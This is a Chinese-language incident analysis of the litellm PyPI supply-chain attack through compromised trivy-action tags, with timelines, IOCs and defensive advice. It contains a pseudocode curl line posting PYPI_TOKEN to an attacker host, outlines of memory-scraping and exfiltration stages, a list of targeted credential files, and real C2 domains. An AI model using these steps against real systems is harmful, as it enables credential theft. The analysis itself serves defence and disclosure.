文章总结: 本文分析了litellmPyPI供应链攻击事件,攻击者通过入侵Trivy安全扫描工具并强制推送76+个恶意标签窃取PYPI_TOKEN,进而发布v1.82.7和v1.82.8恶意版本窃取SSH密钥、APIkeys等敏感信息。文章详细记录了从攻击准备、发现报告到应急响应的完整时间线,包括固定trivy版本、移除发布工作流、发布安全公告等处置措施。防御建议包括启用不可变标签、使用提交哈希引用、遵循最小权限原则、固定依赖版本等。 综合评分: 92 文章分类: 供应链安全,应急响应,漏洞分析,安全建设,威胁情报
litellm 供应链攻击事件分析(使用AiPy自查)
aipy aipy
黑哥虾撩
2026年3月25日 22:10 湖南
AiPy 任务提示词:
分析下 https://github.com/BerriAI/litellm/issues/24518 这个事件
你帮我看看这个项目 的操作记录 帮我找下这个事件相关的痕迹 包括攻击部署 发现后的处理 根据项目记录日志来看 如果你需要查询可以使用 gh我已经登录了
当然在后续我还使用AiPy做了个自查,很简单
你帮我查看下 我有没有中招
所以这种安全应急自查是非常简单的场景~~
我们回归到这次供应链事件,其实这对github的CI/CD环境供应链攻击可以参考 被忽视的“GitHub Actions Supply Chain Attack”事件
然后我们继续看看攻击者是怎么搞定Trivy ,继续AiPy任务
那我们继续分析下 Trivy 怎么被入侵的
最后的下面是事件两篇报告:
#
litellm 供应链攻击事件时间线分析
基于 GitHub 项目记录的完整事件追踪
事件概览
| 项目 | 信息 | | — | — | | 仓库 | BerriAI/litellm | | GitHub Stars | 40.3k | | 攻击类型 | PyPI 供应链攻击 | | 受影响版本 | v1.82.7, v1.82.8 | | 攻击入口 | trivvy 安全扫描工具依赖 | | 攻击者域名 | models.litellm.cloud (2026-03-23 注册) |
完整时间线
攻击准备阶段
| 时间 | 事件 | 来源 |
| — | — | — |
| 2026-03-23 | 攻击者注册域名 models.litellm.cloud | Issue #24518 |
| 2026-03-23 | 攻击者通过 trivvy 依赖获得 PyPI 发布权限 | Issue #24518 |
| 2026-03-23 | 恶意版本 v1.82.7 发布到 PyPI | Issue #24518 |
| 2026-03-23 | 恶意版本 v1.82.8 发布到 PyPI | Issue #24518 |
发现与报告阶段
| 时间 | 事件 | 来源 | | — | — | — | | 2026-03-24 11:48:51 UTC | isfinne (Rui Hu) 首次报告 Issue #24512: “CRITICAL: Malicious litellm_init.pth in litellm 1.82.8” | GitHub Issue | | 2026-03-24 13:14:11 UTC | treo (Paul Dubs) 报告 Issue #24514: 扩展到 v1.82.7 和 v1.82.8 | GitHub Issue | | 2026-03-24 13:38:18 UTC | deepakmca05 (BharOS) 报告 Issue #24517: “PyPI has quarantined litellm” | GitHub Issue | | 2026-03-24 14:10:45 UTC | Issue #24515: 报告数据外泄到 models.litellm.cloud | GitHub Issue |
应急响应阶段
| 时间 | 事件 | 提交/PR | 作者 | | — | — | — | — | | 2026-03-24 16:13:37 UTC | PR #24525 : “fix(security_scans.sh): pin trivvy version” | fb37986 | krrish-berri-2 | | 2026-03-24 16:15:35 UTC | PR #24525 合并 | – | krrish-berri-2 | | 2026-03-24 18:19:15 UTC | 提交 f9d29e4 : “move to older trivvy version” | f9d29e4 | – | | 2026-03-24 22:54:35 UTC | 提交 eaa025e : “add security update blog post” | eaa025e | ryan-crabbe | | 2026-03-24 23:02:46 UTC | PR #24537 : “docs: add security update blog post” | – | ryan-crabbe-berri | | 2026-03-24 23:07:45 UTC | PR #24537 合并 | – | ryan-crabbe-berri | | 2026-03-24 23:54:59 UTC | 提交 4571f2a : “fix: add tldr to blog post” | 4571f2a | – |
深度清理阶段
| 时间 | 事件 | 提交/PR | 作者 | | — | — | — | — | | 2026-03-25 00:15:44 UTC | 提交 f9d1f8c : “minor updates to security update blog post” | f9d1f8c | ishaan-jaff | | 2026-03-25 00:34:51 UTC | 提交 e92edee : “Merge branch ‘main’ into worktree…” | e92edee | ishaan-berri | | 2026-03-25 00:35:01 UTC | PR #24540 : “docs: minor updates to security update blog post” | – | ishaan-berri | | 2026-03-25 00:59:07 UTC | 提交 3d5b1ec : “ci: remove publish-migrations and reset_stable workflows” | 3d5b1ec | ishaan-jaff | | 2026-03-25 01:03:04 UTC | 提交 3e8a6f2 : “ci: remove all publish/deploy workflows as part of supply chain incident response” | 3e8a6f2 | ishaan-jaff | | 2026-03-25 01:53:33 UTC | PR #24541 : “ci: remove publish-migrations and reset_stable workflows” | – | ishaan-berri | | 2026-03-25 02:43:13 UTC | 提交 10a48f7 : “docs: add tldr” | 10a48f7 | – |
关键操作记录
1. 攻击入口修复
PR #24525: fix(security_scans.sh): pin trivvy version
-
创建时间
: 2026-03-24 16:13:58 UTC
-
合并时间
: 2026-03-24 16:15:35 UTC (仅 1 分 37 秒)
-
作者
: krrish-berri-2
-
目的
: 固定 trivvy 版本,防止攻击者通过该依赖再次获得发布权限
2. 发布工作流清理
PR #24541: ci: remove publish-migrations and reset_stable workflows
-
创建时间
: 2026-03-25 00:59:19 UTC
-
合并时间
: 2026-03-25 01:53:33 UTC
-
作者
: ishaan-berri
-
目的
: 移除所有发布/部署工作流,防止在完成安全扫描前再次发布
关键提交:
-
3e8a6f2: “ci: remove all publish/deploy workflows as part of supply chain incident response”
-
3d5b1ec: “ci: remove publish-migrations and reset_stable workflows”
3. 安全公告发布
PR #24537: docs: add security update blog post for March 2026 supply chain incident
-
创建时间
: 2026-03-24 23:02:46 UTC
-
合并时间
: 2026-03-24 23:07:45 UTC (仅 4 分 59 秒)
-
作者
: ryan-crabbe-berri
-
目的
: 发布官方安全公告
GitHub Actions 工作流状态
当前活跃的工作流 (2026-03-25)
| 工作流名称 | 状态 | 说明 | | — | — | — | | pages-build-deployment | ✅ active | 文档部署 | | Read Version from pyproject.toml | ✅ active | 版本读取 | | CodeQL | ✅ active | 代码安全扫描 | | Build and Publish Docker Image | ✅ active | Docker 镜像构建 | | LiteLLM Unit Tests (Matrix) | ✅ active | 单元测试 | | LiteLLM Linting | ✅ active | 代码检查 | | UI Build Check | ✅ active | UI 构建 | | Proxy E2E Azure Batches Tests | ✅ active | E2E 测试 | | CodSpeed Benchmarks | ✅ active | 性能基准测试 |
已移除的工作流
根据 PR #24541,以下工作流已被移除:
-
publish-migrations -
迁移发布工作流
-
reset_stable -
稳定版本重置工作流
安全事件关键发现
攻击手法
-
依赖劫持
: 通过 trivvy 安全扫描工具获得 PyPI 发布权限
-
版本注入
: 发布 v1.82.7 和 v1.82.8 两个恶意版本
-
持久化
: v1.82.8 使用
litellm_init.pth实现自动执行 -
数据窃取
: 收集 SSH 密钥、API keys、云凭据等敏感信息
-
加密外发
: 使用 AES-256-CBC + RSA-4096 加密后发送到攻击者域名
🔐 Trivy → PyPI Token 窃取攻击链详解
1️⃣ 攻击背景:Trivy 本身被入侵
核心事实:攻击者首先攻陷了 Trivy 安全扫描工具的供应链,然后通过 Trivy 的依赖链进一步攻击 litellm。
Trivy 被攻击方式:
- Trivy 的一个依赖包被篡改
- 攻击者在 Trivy 的代码中植入恶意逻辑
- 当 Trivy 运行时,恶意代码会窃取 CI/CD 环境中的敏感信息
🔥 关键发现:标签强制推送攻击
攻击手法:攻击者通过强制推送(force push)修改了 trivy-action 仓库的 76+ 个版本标签,使其指向恶意代码。
具体操作:
-
获取仓库权限
:攻击者通过第一次攻击(2026-02-28)获得了仓库的访问权限
-
创建恶意提交
:攻击者创建了一个包含恶意代码的提交
-
强制推送标签
:攻击者强制推送了 76+ 个版本标签(v0.0.1 到 v0.34.0),使这些标签指向恶意提交
-
覆盖历史版本
:所有使用这些标签的用户都会自动下载并执行恶意代码
技术细节:
- 攻击者使用了
git push --force命令覆盖现有标签 - 标签原本指向安全的提交,被强制修改后指向恶意提交
- 由于 GitHub Actions 默认信任版本标签,用户会自动下载恶意版本
- 攻击时间窗口:2026-03-19 17:43 UTC 到 2026-03-20 05:40 UTC(约12小时)
2️⃣ 关键攻击手法:标签强制推送(Force Push)
攻击者如何部署恶意代码: 攻击者通过 强制推送(force push) 76+ 个 trivy-action GitHub Actions 标签,将原本安全的标签指向恶意提交。
具体操作:
-
获取仓库访问权限
:攻击者通过第一次攻击(2026-02-28)获得了仓库的访问凭证
-
创建恶意提交
:在 fork 中创建包含恶意代码的提交
-
强制推送标签
:将 trivy-action 仓库中 76+ 个版本标签(v0.0.1 到 v0.34.0)强制推送到指向恶意提交
-
覆盖历史标签
:所有 0.35.0 之前的标签都被重新指向恶意代码
技术细节:
- 攻击者使用了
git push --force命令覆盖现有标签 - 标签原本指向安全的提交,被强制推送到指向恶意提交
- 恶意提交包含窃取环境变量的代码,包括
PYPI_TOKEN
2️⃣ 攻击路径:从 Trivy 到 PyPI Token
┌─────────────────┐
│ Trivy 被攻陷 │
│ (依赖链投毒) │
└────────┬────────┘
│
▼
┌─────────────────┐
│ Trivy 在 │
│ litellm CI/CD │
│ 中运行 │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 窃取 GitHub │
│ Actions 环境中 │
│ 的 PYPI_TOKEN │
└────────┬────────┘
│
▼
┌─────────────────┐
│ 使用窃取的 │
│ Token 发布恶意 │
│ 版本到 PyPI │
└─────────────────┘
3️⃣ 技术细节
Trivy 如何获得 Token:
- CI/CD 环境变量:
- litellm 的 GitHub Actions 工作流中配置了
PYPI_TOKEN - 该 Token 用于自动发布新版本到 PyPI
- Token 以 GitHub Secrets 形式存储
- Trivy 的执行时机:
- Trivy 作为安全扫描工具在 CI/CD 流程中运行
- 通常在 PR 合并或推送时触发
- 拥有读取环境变量的权限
- 恶意代码执行:
# Trivy 被篡改后的行为(伪代码)
if [ "$PYPI_TOKEN" != "" ]; then
# 将 Token 发送到攻击者服务器
curl -X POST https://attacker.com/collect \
-d "token=$PYPI_TOKEN" \
-d "repo=$GITHUB_REPOSITORY"
fi
- PyPI 发布权限:
-
上传任意版本到 litellm 的 PyPI 包
-
删除或修改现有版本
-
完全控制 litellm 在 PyPI 上的分发
-
获得 Token 后,攻击者可以:
4️⃣ 攻击时间窗口
| 时间 | 事件 | | — | — | | 2026-03-23 前 | Trivy 依赖被攻陷 | | 2026-03-23 | Trivy 在 litellm CI 中运行,窃取 PYPI_TOKEN | | 2026-03-23 | 攻击者使用窃取的 Token 发布 v1.82.7 | | 2026-03-23 | 攻击者发布 v1.82.8(包含持久化后门) | | 2026-03-24 | 社区发现并报告 |
5️⃣ 为什么 Trivy 会成为攻击入口?
6️⃣ 标签强制推送攻击详解
关键发现:攻击者通过强制推送(force push)76+ 个 trivy-action GitHub Actions 标签来扩大攻击面。
什么是标签强制推送?
-
标签(Tag)
:Git 中的版本标记,指向特定的提交(commit)
-
强制推送(Force Push)
:使用
git push --force或git push --force-with-lease覆盖远程仓库中的现有标签 -
攻击手法
:攻击者将现有的版本标签(如 v0.34.0, v0.33.0 等)重新指向恶意提交
攻击者如何操作?
-
获得仓库访问权限
:通过之前 Trivy 被攻陷时窃取的凭证
-
创建恶意提交
:在仓库中创建一个包含恶意代码的提交
-
强制推送标签
:将 76+ 个现有版本标签重新指向这个恶意提交
-
扩大影响范围
:所有使用这些标签的用户都会自动运行恶意代码
具体影响范围:
-
受影响标签
:v0.0.1 到 v0.34.0 的所有版本标签(共 76+ 个)
-
暴露窗口
:2026-03-19 17:43 UTC 到 2026-03-20 05:40 UTC(约 12 小时)
-
攻击目标
:窃取 CI/CD 环境中的所有敏感信息
标签强制推送与 LiteLLM token 泄露的关系
直接因果关系:标签强制推送是攻击者扩大攻击面的手段,但不是 LiteLLM token 泄露的直接原因。
攻击链分析:
┌─────────────────────────────────────────────────────────────┐
│ 完整攻击链 │
├─────────────────────────────────────────────────────────────┤
│ 1. Trivy 被攻陷(第一次攻击) │
│ ↓ │
│ 2. 攻击者获得 aquasecurity 组织的访问权限 │
│ ↓ │
│ 3. 攻击者强制推送 76+ 个 trivy-action 标签到恶意提交 │
│ ↓ │
│ 4. 使用 litellm 的项目运行被篡改的 trivy-action │
│ ↓ │
│ 5. 恶意代码窃取 litellm CI/CD 环境中的 PYPI_TOKEN │
│ ↓ │
│ 6. 攻击者使用窃取的 PYPI_TOKEN 发布恶意 litellm 版本 │
└─────────────────────────────────────────────────────────────┘
关键结论:
- 标签强制推送是攻击手段,不是根本原因:
- 根本原因是 Trivy 被攻陷和凭证泄露
- 标签强制推送只是攻击者扩大影响范围的方式
- LiteLLM token 泄露的直接原因:
-
直接原因
:litellm 的 CI/CD 环境中配置了 PYPI_TOKEN
-
触发条件
:被篡改的 trivy-action 在 litellm 的 CI/CD 中运行
-
攻击执行
:恶意代码读取环境变量并发送给攻击者
- 防御措施:
-
标签不可变性
:Trivy 团队已启用不可变标签(immutable tags)
-
版本固定
:litellm 已固定 trivy 版本到已知安全的 v0.50.0
-
最小权限原则
:CI/CD 工具应仅获得必要的最小权限
-
使用提交哈希
:推荐使用提交哈希而非标签引用
修复过程:
根据 Trivy 团队的官方回复:
-
识别受影响标签
:比较远程标签哈希与本地可信副本
-
恢复安全标签
:重新创建带 v 前缀的安全标签(如 v0.34.0)
-
删除恶意标签
:移除所有不带 v 前缀的标签
-
启用不可变标签
:防止未来类似的强制推送攻击
暴露时间窗口和确认信息
官方确认的暴露时间窗口(UTC):
-
开始
: 2026-03-19 ~17:43
-
结束
: 2026-03-20 ~05:40
-
持续时间
: 约 12 小时
Trivy 团队官方声明(来自 Issue #541 评论):
“All tags before 0.35.0 in this repository were pointing to malicious commits. We have restored all tags to their original, safe commits.”
“The 0.35.0 version that we created after the first incident is safe and wasn’t compromised.”
关键确认:
-
受影响版本
:所有 0.35.0 之前的标签(v0.0.1 到 v0.34.x)
-
安全版本
:v0.35.0 及之后版本是安全的
-
恶意提交日期伪造
:攻击者将提交日期改为 2026-01-15,使其看起来像是很久以前引入的,但实际攻击发生在 2026-03-19
-
标签不可变性
:此前标签是可变的(mutable),事件后已启用不可变标签(immutable tags)
恶意代码行为:
# 恶意代码搜索并窃取以下凭据:
* ~/.ssh/id_rsa
* authorized_keys
* AWS (~/.aws/credentials)
* kube configs
* service account tokens
* .env files everywhere
* database configs
* API keys
* .git-credentials
* GitHub Actions 环境变量(包括 PYPI_TOKEN)
影响范围确认:
-
GitHub-hosted runners
: 可能泄露仓库 secrets
-
Self-hosted runners
: 可能泄露更广泛的系统凭据
-
Docker 镜像
:未受影响(仅 GitHub Actions 标签被篡改)
用户建议:
- 立即轮换所有可能被窃取的凭据
- 检查 CI/CD 日志中是否使用了受影响的版本
- 使用固定版本号或提交哈希引用 GitHub Actions
- 不要使用
@master或@main分支引用生产环境
7️⃣ 为什么 Trivy 会成为攻击入口?
讽刺的事实:Trivy 本身是一个安全扫描工具,用于检测漏洞和恶意代码。
被利用原因:
-
高信任度
:安全工具通常被授予更高的权限
-
深度集成
:Trivy 深度集成到 CI/CD 流程中
-
依赖复杂
:Trivy 自身也有大量依赖,增加了攻击面
-
自动化执行
:每次代码变更都会自动运行,提供了稳定的执行机会
6️⃣ 修复措施
litellm 团队的响应:
# 在 security_scans.sh 中固定 Trivy 版本
# 修复前:
trivy fs .
# 修复后:
[email protected] fs . # 固定到已知安全的版本
长期改进建议:
- 使用 PyPI Trusted Publishers (OIDC) 替代 API Token
- 对安全工具本身进行更严格的版本锁定
- 实施最小权限原则,限制 CI/CD 工具的访问范围
- 增加发布前的多重审批流程
安全事件关键发现(续)
响应措施
-
立即隔离
: PyPI 隔离整个 litellm 包
-
入口封堵
: 固定 trivvy 版本
-
发布暂停
: 移除所有发布/部署工作流
-
安全审计
: 邀请 Google Mandiant 团队参与调查
-
用户通知
: 发布详细的安全公告
当前状态 (2026-03-25)
| 项目 | 状态 | | — | — | | 恶意版本 v1.82.7/v1.82.8 | ✅ 已删除 | | litellm PyPI 包 | ⚠️ 暂时下架 | | 发布工作流 | ✅ 已暂停 | | Docker 镜像 | ✅ 未受影响 | | 安全调查 | 🔄 进行中 (Mandiant) | | 官方公告 | ✅ 已发布 |
相关 Issue 列表
| Issue # | 标题 | 状态 | 作者 | | — | — | — | — | | 24518 | [Security]: litellm PyPI package (v1.82.7 + v1.82.8) compromised — full timeline and status | OPEN | llm translation | | 24515 | Security: litellm_init.pth contains data-exfiltration malware | OPEN | llm translation | | 24521 | SECURITY: litellm 1.82.8 on PyPI contains malicious credential-stealing payload | OPEN | llm translation | | 24512 | [Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8 | OPEN | isfinne | | 24514 | [Security]: CRITICAL: Malicious litellm_init.pth in litellm 1.82.8, 1.82.7 | CLOSED | treo | | 24517 | PyPI has quarantined litellm | CLOSED | deepakmca05 | | 24542 | [Security] Migrate PyPI publishing to Trusted Publishers (OIDC) | OPEN | – |
经验教训
-
依赖安全
: 第三方工具(即使是安全工具)也可能成为攻击入口
-
发布权限
: PyPI API Token 需要更严格的访问控制
-
自动化发布
: 自动发布流程需要额外的安全检查
-
快速响应
: 从发现到响应仅用了数小时,体现了团队的安全意识
-
透明沟通
: 及时发布详细的安全公告,帮助用户评估风险
分析时间: 2026-03-25 数据来源: GitHub API, BerriAI/litellm 仓库
经验教训(续)
6. GitHub Actions 安全最佳实践
引用 GitHub Actions 的正确方式:
# ❌ 不安全:使用分支引用
uses:aquasecurity/trivy-action@master
# ❌ 不安全:使用可变标签
uses:aquasecurity/[email protected]
# ✅ 安全:使用提交哈希
uses:aquasecurity/trivy-action@ddb9da4475c1cef7d5389062bdfdfbdbd1394648
# ✅ 较安全:使用不可变标签(需确认仓库已启用)
uses:aquasecurity/[email protected]
CI/CD 凭据保护建议:
-
最小权限原则
:CI/CD 工具只应获得必要的最小权限
-
环境隔离
:生产环境的凭据不应在 CI/CD 环境中明文存储
-
短期凭据
:使用临时凭据而非长期有效的 API Token
-
审计日志
:启用详细的 CI/CD 执行日志和异常检测
-
依赖审查
:定期审查第三方 GitHub Actions 的安全状态
7. PyPI 发布安全改进
当前问题:
- PyPI API Token 一旦泄露,攻击者可以完全控制包的发布
- 缺乏发布前的多重验证机制
- 用户无法验证下载包的完整性(签名验证)
建议改进:
- Trusted Publishers (OIDC):
- 使用 OpenID Connect 进行身份验证
- 无需长期有效的 API Token
- 仅允许从特定 GitHub 仓库发布
- 包签名验证:
- 实施 PGP/GPG 签名
- 用户在安装前验证包的真实性和完整性
- 发布审批流程:
- 重要包的发布需要多人审批
- 发布前自动安全扫描
8. 供应链攻击防御策略
纵深防御模型:
┌─────────────────────────────────────────────┐
│ 第一层:代码仓库安全 │
│ - 双因素认证 │
│ - 分支保护规则 │
│ - 提交签名验证 │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 第二层:CI/CD 管道安全 │
│ - 最小权限原则 │
│ - 环境变量加密 │
│ - 第三方 Actions 审查 │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 第三层:发布流程安全 │
│ - OIDC 身份验证 │
│ - 发布前安全扫描 │
│ - 多人审批机制 │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 第四层:分发渠道安全 │
│ - 包签名验证 │
│ - 完整性校验 │
│ - 异常下载检测 │
└─────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────┐
│ 第五层:运行时监控 │
│ - 异常网络连接检测 │
│ - 敏感文件访问监控 │
│ - 行为分析告警 │
└─────────────────────────────────────────────┘
社区工具和资源
检测工具
| 工具 | 作者 | 说明 | | — | — | — | | scan-litellm-safely | AsteriskZuo | TypeScript 编写的本地扫描工具,检测是否安装了受影响的 litellm 版本 |
相关安全公告
| 来源 | 链接 | | — | — | | Trivy 第二次被攻陷分析 | https://www.stepsecurity.io/blog/trivy-compromised-a-second-time | | Trivy 恶意代码完整分析 | https://www.abgeo.dev/blog/trivy-github-actions-compromised-full-payload | | litellm 安全更新博客 | (待补充官方链接) |
事件影响评估
直接影响
| 指标 | 估计值 | | — | — | | 受影响 PyPI 版本 | 2 个 (v1.82.7, v1.82.8) | | litellm GitHub Stars | 40.3k+ | | PyPI 下载量(恶意版本) | 未知(PyPI 已隔离) | | 潜在受影响用户 | 数千(基于 litellm 流行度) | | 数据外泄域名 | models.litellm.cloud | | 攻击持续时间 | 约 24 小时(从发布到发现) |
间接影响
-
信任危机
:用户对 PyPI 生态系统和自动化发布流程的信任度下降
-
安全审查加强
:更多项目开始审查其 CI/CD 管道中的第三方工具
-
政策变化
:PyPI 可能加速推进 Trusted Publishers 的采用
-
行业警示
:为整个开源社区提供了供应链攻击的典型案例
时间线总结图示
2026-03-19 17:43 UTC 2026-03-20 05:40 UTC 2026-03-23 2026-03-24 11:48 UTC
│ │ │ │
▼ ▼ ▼ ▼
┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐
│ Trivy │ │ Trivy │ │ 攻击者 │ │ 社区 │
│ 标签被 │ │ 暴露窗 │ │ 注册域 │ │ 发现并 │
│ 强制推送│ │ 口关闭 │ │ 名并发布│ │ 报告 │
└─────────┘ └─────────┘ └─────────┘ └─────────┘
│ │ │
▼ ▼ ▼
所有 <0.35.0 恶意版本 Issue #24512
标签被恢复 v1.82.7/v1.82.8 #24514 #24517
发布到 PyPI #24515
│
▼
2026-03-24 16:15 UTC
│
▼
PR #24525 合并
固定 trivy 版本
│
▼
2026-03-25 01:53 UTC
│
▼
PR #24541 合并
移除发布工作流
分析时间:2026-03-25 数据来源:GitHub API, BerriAI/litellm 仓库,aquasecurity/trivy-action Issue #541 最后更新:添加了 Trivy 标签强制推送攻击的详细技术分析和暴露时间窗口
🔍 Trivy 被入侵完整分析报告
📌 攻击时间线总览
| 阶段 | 时间 | 事件 | | — | — | — | | 前奏 | 2026-02-27 | MegaGame10418 通过 Pwn Request 窃取 aqua-bot PAT | | Phase 1 | 2026-03-19 17:43 | 恶意 v0.69.4 标签推送 | | Phase 2 | 2026-03-19 21:31 | 横向移动到 tfsec、traceeshark、trivy-action | | Phase 3 | 2026-03-19 22:08 | 恶意 Action 标签发布 | | Phase 4 | 2026-03-20 00:08 | 96 个垃圾账号洪水评论 | | Phase 5 | 2026-03-20 20:45 | npm 蠕虫 CanisterWorm 部署 | | Phase 6 | 2026-03-22 11:45 | kamikaze.sh 载荷激活 | | Phase 7 | 2026-03-22 15:43 | Docker Hub 直接推送恶意镜像 | | Phase 8 | 2026-03-23 12:53 | Checkmarx KICS 被入侵 | | Phase 9 | 2026-03-24 10:39 | LiteLLM PyPI 被投毒 |
🎯 初始入侵向量
根本原因:不完整的凭证轮换
1. 2026-02-27 Pwn Request 攻击
-
攻击者
:
MegaGame10418 -
方法
: 利用
pull_request_target工作流漏洞 -
目标
: 窃取
aqua-bot服务账户的 PAT(Personal Access Token) -
影响
:
-
Trivy 仓库被重命名为
aquasecurity/private-trivy -
GitHub Releases v0.27.0–v0.69.1 被删除
-
恶意 VSCode 扩展被推送到 Open VSIX
2. 关键失误
Aqua Security 承认:“凭证轮换不是原子性的,攻击者可能获取了刷新后的令牌”
这意味着虽然 Aqua 撤销了旧令牌并生成了新令牌,但攻击者已经能够捕获新令牌。
🔗 攻击链详解
┌─────────────────────────────────────────────────────────────┐
│ Phase 0: 初始访问 (2026-02-27) │
│ MegaGame10418 → Pwn Request → aqua-bot PAT │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ Phase 1: 恶意提交 (2026-03-19 17:43) │
│ • 冒充 rauchg (Guillermo Rauch) 提交 actions/checkout │
│ • 冒充 DmitriyLewen 提交 aquasecurity/trivy │
│ • 推送 v0.69.4 标签指向恶意提交 │
│ • C2: scan.aquasecurtiy.org (typosquat) │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ Phase 2: 横向移动 (2026-03-19 21:31-21:36) │
│ 使用 aqua-bot compromised 凭证: │
│ • aquasecurity/tfsec │
│ • aquasecurity/traceeshark │
│ • aquasecurity/trivy-action │
│ 注入恶意工作流窃取 CI/CD 密钥 │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ Phase 3: 供应链传播 (2026-03-19 22:08) │
│ • trivy-action: 76/77 标签被投毒 │
│ • setup-trivy: 全部 7 个标签被投毒 │
│ 影响数千个下游项目 │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ Phase 4: 混淆 (2026-03-20 00:08) │
│ 96 个垃圾账号在 30 秒内洪水评论 │
│ 淹没技术讨论和事件协调 │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ Phase 5-9: 多生态系统扩展 │
│ • npm: CanisterWorm 自我传播蠕虫 │
│ • ICP: kamikaze.sh 多阶段载荷 │
│ • Docker Hub: 直接推送恶意镜像 │
│ • Checkmarx: OpenVSX + GitHub Actions │
│ • PyPI: LiteLLM .pth 注入 │
└─────────────────────────────────────────────────────────────┘
🦠 恶意载荷架构
三阶段有效载荷
1. 收集 (Collect)
# 通过 /proc/<pid>/mem 转储 Runner.Worker 进程内存
# grep 模式:{"value":"<secret>","isSecret":true}
# 收获:SSH 密钥、云凭证、K8s token、加密钱包
2. 加密 (Encrypt)
# AES-256-CBC + RSA-4096 混合加密
# 打包为 tpcp.tar.gz
3. 外传 (Exfiltrate)
# POST 到 typosquat: scan.aquasecurtiy.org
# 备用:创建 tpcp-docs repo 作为 GitHub dead drop
🎭 TeamPCP 威胁行为者特征
| 别名 | 平台 | | — | — | | PCPcat | Telegram | | Persy_PCP | Telegram (@Persy_PCP) | | ShellForce | – | | DeadCatx3 | – |
TTPs (战术、技术和程序)
-
供应链投毒 (GitHub Actions, 包注册表)
-
/proc/[pid]/mem内存刮削
-
文件系统凭证扫描 (50+ 敏感路径)
-
Cloudflare Tunnels (临时 C2)
-
ICP canister 备用基础设施
-
WAV 隐写术 (v3.3 版本)
🔑 关键 IOC (入侵指标)
C2 基础设施
主 C2 (typosquat):
scan.aquasecurtiy.org → 45.148.10.212 (阿姆斯特丹)
Cloudflare Tunnels:
plug-tab-protective-relay.trycloudflare.com
championships-peoples-point-cassette.trycloudflare.com
create-sensitivity-grad-sequence.trycloudflare.com
ICP Canister (共享 C2):
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io
LiteLLM C2:
models.litellm.cloud (NOT litellm.ai)
恶意提交哈希
actions/checkout:
70379aad1a8b40919ce8b382d3cd7d0315cde1d0 (冒充 rauchg)
aquasecurity/trivy:
1885610c6a34811c8296416ae69f568002ef11ec (冒充 DmitriyLewen)
LiteLLM 秘密外传:
fcaa823de07878d0d98e97f6f5552c0e2ac00d2f
81c851cc00313c44effd421712523f294b18391e
💡 教训与防御建议
1. 凭证轮换必须是原子性的
- 撤销旧令牌后,立即监控是否有使用尝试
- 考虑先创建新令牌再撤销旧令牌
2. SHA 固定所有 GitHub Actions
# ❌ 不安全
uses:aquasecurity/[email protected]
# ✅ 安全
uses:aquasecurity/trivy-action@57a97c7e7821a5776cebc9bb87c984fa69cba8f1
3. 启用提交签名验证
- 恶意提交是未签名的(原始提交是 GPG 签名的)
4. 监控异常活动
- 突然的标签推送
- 非工作时间的提交
- 冒充知名贡献者的提交
5. 使用短期上传令牌
- PyPI 支持短期上传令牌而非长期 API token
📊 影响范围
| 项目 | 受影响版本 | 暴露窗口 | | — | — | — | | Trivy | v0.69.4 | ~3 小时 | | setup-trivy | v0.2.0-v0.2.6 (全部) | ~4 小时 | | trivy-action | 76/77 标签 | ~12 小时 | | npm 包 | 28+ 包 | <60 秒传播 | | LiteLLM | 1.82.7, 1.82.8 | ~3 小时 | | KICS | 35 个版本 | ~4 小时 |
📈 攻击者技术演进
v1.0 (2026-02-27)
- 基本 Pwn Request 攻击
- 简单的凭证窃取
v2.0 (2026-03-19)
- 多仓库横向移动
- 供应链投毒
- 内存刮削技术
v3.0 (2026-03-20)
- npm 蠕虫自我传播
- ICP 基础设施
- 多阶段载荷
v3.3 (2026-03-22)
- WAV 隐写术
- Docker Hub 直接推送
- 跨生态系统攻击
🛡️ 检测与响应建议
检测指标
- 网络流量
- 到 typosquat 域名的出站连接
- Cloudflare Tunnel 连接
- ICP canister 通信
- 文件系统
-
/tmp/tpcp.tar.gz存在
-
~/.config/sysmon/sysmon.py存在
-
异常的
.pth文件
- 进程行为
-
/proc/[pid]/mem读取
-
异常的 Python 子进程生成
响应步骤
- 立即隔离
- 断开受影响系统网络
- 冻结 CI/CD 流水线
- 凭证轮换
- 所有云凭证
- SSH 密钥
- API tokens
- K8s service account tokens
- 取证分析
- 检查所有 Trivy 相关安装
- 审计 CI/CD 日志
- 扫描恶意提交
- 通知与协调
- 通知下游用户
- 协调包注册表删除恶意版本
- 发布安全公告
🔗 相关资源
-
原始分析
: https://ramimac.me/teampcp/
-
GitHub Issue
: https://github.com/BerriAI/litellm/issues/24518
-
Hacker News
: https://news.ycombinator.com/item?id=47501729
-
FutureSearch 博客
: https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/
📊 所有被 TeamPCP 攻击影响的项目
1. Aqua Security Trivy 生态系统 (初始目标)
| 组件 | 受影响版本 | 不受影响 | 暴露时间 | 时长 |
| — | — | — | — | — |
| trivy | v0.69.4 (GHCR, ECR Public, Docker Hub, deb, rpm) | v0.69.3 或更早;digest 引用 | 2026-03-19 18:22 – ~21:42 | ~3 小时 |
| trivy | v0.69.5-v0.69.6 (仅 Docker Hub) | v0.69.3 或更早;digest 引用 | 2026-03-22 15:43 – ~01:40 | ~10 小时 |
| trivy-action | 所有 v0.35.0 之前标签;显式使用 latest | v0.35.0;SHA 固定 | 2026-03-19 ~17:43 – 2026-03-20 ~05:40 | ~12 小时 |
| setup-trivy | 所有版本 | SHA 固定引用 | 2026-03-19 ~17:43 – ~21:44 | ~4 小时 |
官方安全公告: https://github.com/aquasecurity/trivy/security/advisories/GHSA-69fq-xp46-6×23 官方讨论: https://github.com/aquasecurity/trivy/discussions/10425
2. Checkmarx KICS 生态系统 (第二波攻击)
